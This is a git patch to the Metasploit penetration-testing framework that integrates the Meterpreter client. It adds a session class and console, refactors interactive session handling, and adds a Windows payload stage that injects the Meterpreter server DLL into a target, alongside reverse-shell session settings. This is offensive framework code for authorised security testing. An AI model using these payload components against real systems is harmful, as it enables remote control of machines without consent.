From 7f8db62b9cd8aaede3ab256767c77b6ae250f404 Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Mon, 18 Jul 2005 04:07:56 +0000 Subject: [PATCH] workin on integrating meterp client git-svn-id: file:///home/svn/incoming/trunk@2790 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/base/sessions/meterpreter.rb | 86 +++++++++++++++++++ lib/msf/core/module.rb | 19 ++-- lib/msf/core/session/basic.rb | 80 ----------------- lib/msf/core/session/interactive.rb | 80 ++++++++++++++++- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- lib/rex/post/meterpreter/ui/console.rb | 60 +++++++++++++ lib/rex/ui/text/output/stdio.rb | 1 + lib/rex/ui/text/shell.rb | 66 +++++++++----- modules/exploits/test/multi/aggressive.rb | 2 +- .../singles/windows/shell_reverse_tcp.rb | 1 + modules/payloads/stages/windows/dllinject.rb | 23 ++++- .../payloads/stages/windows/meterpreter.rb | 52 +++++++++++ modules/payloads/stages/windows/shell.rb | 1 + 13 files changed, 360 insertions(+), 113 deletions(-) create mode 100644 lib/msf/base/sessions/meterpreter.rb create mode 100644 lib/rex/post/meterpreter/ui/console.rb create mode 100644 modules/payloads/stages/windows/meterpreter.rb diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb new file mode 100644 index 0000000000..e1aae46b0d --- /dev/null +++ b/lib/msf/base/sessions/meterpreter.rb @@ -0,0 +1,86 @@ +require 'msf/base' +require 'rex/post/meterpreter' + +module Msf +module Sessions + +### +# +# Meterpreter +# ----------- +# +# This class represents a session compatible interface to a meterpreter server +# instance running on a remote machine. It provides the means of interacting +# with the server instance both at an API level as well as at a console level. +# +### +class Meterpreter < Rex::Post::Meterpreter::Client + + # + # The meterpreter session is interactive + # + include Msf::Session + include Msf::Session::Interactive + + def initialize(rstream) + super + + # + # Create the console instance + # + self.console = Rex::Post::Meterpreter::Ui::Console.new + end + + ## + # + # Msf::Session overrides + # + ## + + def desc + "Meterpreter" + end + + def type + "meterpreter" + end + + ## + # + # Msf::Session::Interactive implementors + # + ## + + # + # Initializes the console's I/O handles + # + def init_ui(input, output) + console.init_ui(user_input, user_output) + end + + # + # Resets the console's I/O handles + # + def reset_ui + console.reset_ui + end + + # + # Interacts with the meterpreter client at a user interface level + # + def _interact + # Call the console interaction subsystem of the meterpreter client and + # pass it a block that returns whether or not we should still be + # interacting. This will allow the shell to abort if interaction is + # canceled. + console.interact { self.interacting } + end + +protected + + attr_accessor :rstream, :console + +end + +end +end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 50bff79d20..58a6a97123 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -347,12 +347,19 @@ protected # two if (info[name].kind_of?(Array) == false) curr = info[name] - info[name] = [ curr, val ] if (val != curr) - # Otherwise, just append this item to the array entry - else - if (info[name].include?(val) == false) - info[name] << val - end + info[name] = [ curr ] + end + + # If the value being merged is an array, add each one + if (val.kind_of?(Array) == true) + val.each { |v| + if (info[name].include?(v) == false) + info[name] << v + end + } + # Otherwise just add the value + elsif (info[name].include?(val) == false) + info[name] << val end # Otherwise, just set the value equal if no current value # exists diff --git a/lib/msf/core/session/basic.rb b/lib/msf/core/session/basic.rb index f08b586e64..bcc492102d 100644 --- a/lib/msf/core/session/basic.rb +++ b/lib/msf/core/session/basic.rb @@ -15,13 +15,6 @@ module Basic include Session include Interactive - # - # Initialize's the raw session - # - def initialize(rstream) - self.rstream = rstream - end - # # Returns that, yes, indeed, this session supports going interactive with # the user. @@ -44,79 +37,6 @@ module Basic "basic" end - # - # Returns the local information - # - def tunnel_local - rstream.localinfo - end - - # - # Returns the remote peer information - # - def tunnel_peer - rstream.peerinfo - end - - # - # Closes rstream. - # - def cleanup - rstream.close if (rstream) - rstream = nil - end - - # - # Starts interacting with the session at the most raw level, simply - # forwarding input from user_input to rstream and forwarding input from - # rstream to user_output. - # - def interact - # Call the parent in case it has some work to do - super - - eof = false - - # Handle suspend notifications - handle_suspend - - callcc { |ctx| - # As long as we're interacting... - while (self.interacting == true) - begin - _interact - # If we get an interrupt exception, ask the user if they want to - # abort the interaction. If they do, then we return out of - # the interact function and call it a day. - rescue Interrupt - if (user_want_abort? == true) - eof = true - ctx.call - end - rescue EOFError - dlog("Session #{name} got EOF, closing.", 'core', LEV_1) - eof = true - ctx.call - end - end - } - - # Restore the suspend handler - restore_suspend - - # If we hit end-of-file, then that means we should finish off this - # session and call it a day. - framework.sessions.deregister(self) if (eof == true) - - # Return whether or not EOF was reached - return eof - end - - # - # The remote stream handle. Must inherit from Rex::IO::Stream. - # - attr_accessor :rstream - protected # diff --git a/lib/msf/core/session/interactive.rb b/lib/msf/core/session/interactive.rb index ab38b2713a..2a5af15b80 100644 --- a/lib/msf/core/session/interactive.rb +++ b/lib/msf/core/session/interactive.rb @@ -18,6 +18,13 @@ module Interactive # include Rex::Ui::Subscriber + # + # Initialize's the session + # + def initialize(rstream) + self.rstream = rstream + end + # # Returns that, yes, indeed, this session supports going interactive with # the user. @@ -27,12 +34,77 @@ module Interactive end # - # Starts interacting with the session. + # Returns the local information + # + def tunnel_local + rstream.localinfo + end + + # + # Returns the remote peer information + # + def tunnel_peer + rstream.peerinfo + end + + # + # Closes rstream. + # + def cleanup + rstream.close if (rstream) + rstream = nil + end + + # + # Starts interacting with the session at the most raw level, simply + # forwarding input from user_input to rstream and forwarding input from + # rstream to user_output. # def interact self.interacting = true + + eof = false + + # Handle suspend notifications + handle_suspend + + callcc { |ctx| + # As long as we're interacting... + while (self.interacting == true) + begin + _interact + # If we get an interrupt exception, ask the user if they want to + # abort the interaction. If they do, then we return out of + # the interact function and call it a day. + rescue Interrupt + if (user_want_abort? == true) + eof = true + ctx.call + end + # If we reach EOF or the connection is reset... + rescue EOFError, Errno::ECONNRESET + dlog("Session #{name} got EOF, closing.", 'core', LEV_1) + eof = true + ctx.call + end + end + } + + # Restore the suspend handler + restore_suspend + + # If we hit end-of-file, then that means we should finish off this + # session and call it a day. + framework.sessions.deregister(self) if (eof == true) + + # Return whether or not EOF was reached + return eof end + # + # The remote stream handle. Must inherit from Rex::IO::Stream. + # + attr_accessor :rstream # # Whether or not the session is currently being interacted with # @@ -46,6 +118,12 @@ protected # attr_accessor :orig_suspend + # + # Stub method that is meant to handler interaction + # + def _interact + end + # # Checks to see if the user wants to abort # diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f1f1a7051b..b92e0b483f 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -271,7 +271,7 @@ class Core print_status("Starting interaction with #{session.name}...\n") if (quiet == false) # Set the session's input and output handles - session.init_ui(driver.input, driver.output) + session.init_ui(driver.input.dup, driver.output.dup) # Interact session.interact() diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb new file mode 100644 index 0000000000..2e7b0e0270 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -0,0 +1,60 @@ +require 'rex/ui' +require 'rex/post/meterpreter' + +module Rex +module Post + +### +# +# Console +# ------- +# +# This class provides a shell driven interface to the meterpreter client API. +# +### +class Meterpreter::Console + + def initialize + # Initialize the pseudo-shell + shell = Rex::Ui::Text::Shell.new("%bmeterpreter%c ") + + # Point the input/output handles elsewhere + reset_ui + end + + # + # Initialize's the shells I/O handles + # + def init_ui(input, output) + shell.init_ui(input, output) + end + + # + # Resets the shell's I/O handles + # + def reset_ui + shell.reset_ui + end + + # + # Called when someone wants to interact with the meterpreter client. It's + # assumed that init_ui has been called prior. + # + def interact(&block) + shell.run { |line, args| + + # + + # If a block was supplied, call it, otherwise return false + if (block) + block.call + else + false + end + } + end + +end + +end +end diff --git a/lib/rex/ui/text/output/stdio.rb b/lib/rex/ui/text/output/stdio.rb index 7a621ed55e..d46fedeb56 100644 --- a/lib/rex/ui/text/output/stdio.rb +++ b/lib/rex/ui/text/output/stdio.rb @@ -16,6 +16,7 @@ class Output::Stdio < Rex::Ui::Text::Output def print(msg = '') $stdout.print(msg) + $stdout.flush end end diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb index 82887a8882..2c31711c14 100644 --- a/lib/rex/ui/text/shell.rb +++ b/lib/rex/ui/text/shell.rb @@ -34,23 +34,6 @@ module Shell end def initialize(prompt, prompt_char = '>') - # Initialize the input and output methods - self.input = Input::Stdio.new - self.output = Output::Stdio.new - - begin - self.input = Input::Readline.new(lambda { |str| tab_complete(str) }) - rescue - end - - # Extend the input medium as an input shell if the input medium - # isn't intrinsicly a shell. - if (self.input.intrinsic_shell? == false) - self.input.extend(InputShell) - end - - self.input.output = self.output - # Set the stop flag to false self.stop_flag = false self.disable_output = false @@ -58,10 +41,44 @@ module Shell # Initialize the prompt self.init_prompt = prompt self.prompt_char = prompt_char + + # Initialize the user interface handles + init_ui(Input::Stdio.new, Output::Stdio.new) + end + # + # Initializes the user interface input/output classes. + # + def init_ui(in_input = nil, in_output = nil) + # Initialize the input and output methods + self.input = in_input + self.output = in_output + + if (self.input) + begin + self.input = Input::Readline.new(lambda { |str| tab_complete(str) }) + rescue + end + + # Extend the input medium as an input shell if the input medium + # isn't intrinsicly a shell. + if (self.input.intrinsic_shell? == false) + self.input.extend(InputShell) + end + + self.input.output = self.output + end + update_prompt end + # + # Resets the user interface + # + def reset_ui + init_ui + end + # # Performs tab completion on the supplied string # @@ -72,12 +89,21 @@ module Shell # # Run the command processing loop # - def run + def run(&block) stop_flag = false while ((line = input.pgets)) - run_single(line) + # If a block was passed in, pass the line to it. If it returns true, + # break out of the shell loop. + if (block) + break if (block.call(line, parse_line(line))) + # Otherwise, call what should be an overriden instance method to + # process the line. + else + run_single(line) + end + # If the stop flag was set or we've hit EOF, break out break if (input.eof? or self.stop_flag) end end @@ -115,7 +141,7 @@ module Shell new_prompt.gsub!(/%dwhi/, colorize('dark', 'white')) new_prompt.gsub!(/%dmag/, colorize('dark', 'magenta')) - self.input.prompt = new_prompt + self.input.prompt = new_prompt if (self.input) self.prompt_char = new_prompt_char if (new_prompt_char) end diff --git a/modules/exploits/test/multi/aggressive.rb b/modules/exploits/test/multi/aggressive.rb index 9d88db995f..7391d73a52 100644 --- a/modules/exploits/test/multi/aggressive.rb +++ b/modules/exploits/test/multi/aggressive.rb @@ -17,7 +17,7 @@ class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote { 'Space' => 1000, 'MaxNops' => 0, -# 'BadChars' => "\x00", + 'BadChars' => "\x00", }, 'Targets' => [ diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index 85b69a2d73..fd198083f2 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -20,6 +20,7 @@ module Shell 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 640f711a11..0d6987749f 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -184,12 +184,26 @@ module DllInject register_options( [ OptPath.new('DLL', [ true, "The local path to the DLL to upload" ]), - ], Msf::Payloads::Stages::Windows::DllInject) + ], DllInject) register_advanced_options( [ OptString.new('LibraryName', [ false, "The symbolic name of the library to upload", "msf.dll" ]) - ], Msf::Payloads::Stages::Windows::DllInject) + ], DllInject) + end + + # + # Returns the library name + # + def library_name + datastore['LibraryName'] || 'msf.dll' + end + + # + # Returns the library path + # + def library_path + datastore['DLL'] end # @@ -200,14 +214,15 @@ module DllInject # Call the parent so that the stage gets sent super - data = (datastore['LibraryName'] || 'msf.dll') + "\x00" + data = library_name + "\x00" begin - data += IO.readlines(datastore['DLL']).join + data += IO.readlines(library_path).join rescue print_error("Failed to load DLL: #{$!}.") # TODO: exception + conn.close return end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb new file mode 100644 index 0000000000..b6f66dca3b --- /dev/null +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -0,0 +1,52 @@ +require 'msf/core' +require 'msf/base/sessions/meterpreter' + +module Msf +module Payloads +module Stages +module Windows + +### +# +# Meterpreter +# ----------- +# +# Injects the meterpreter server instance DLL. +# +### +module Meterpreter + + include DllInject + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Meterpreter', + 'Version' => '$Revision$', + 'Description' => 'Inject the meterpreter server DLL', + 'Author' => 'skape', + 'Session' => Msf::Sessions::Meterpreter)) + + sep = File::SEPARATOR + + # Override the DLL path with the path to the meterpreter server DLL + register_options( + [ + OptPath.new('DLL', + [ + true, + "The local path to the DLL to upload", + Msf::Config.install_root + "#{sep}data#{sep}meterpreter#{sep}metsrv.dll" + ]), + ], Meterpreter) + + # Don't let people set the library name option + options.remove_option('LibraryName') + end + + def library_name + "metsrv.dll" + end + +end + +end end end end diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 7dc1f7d184..22d41a6c55 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -17,6 +17,7 @@ module Shell 'Author' => 'hdm', 'Platform' => 'win', 'Arch' => ARCH_X86, + 'Session' => Msf::Sessions::CommandShell, 'Stage' => { 'Offsets' =>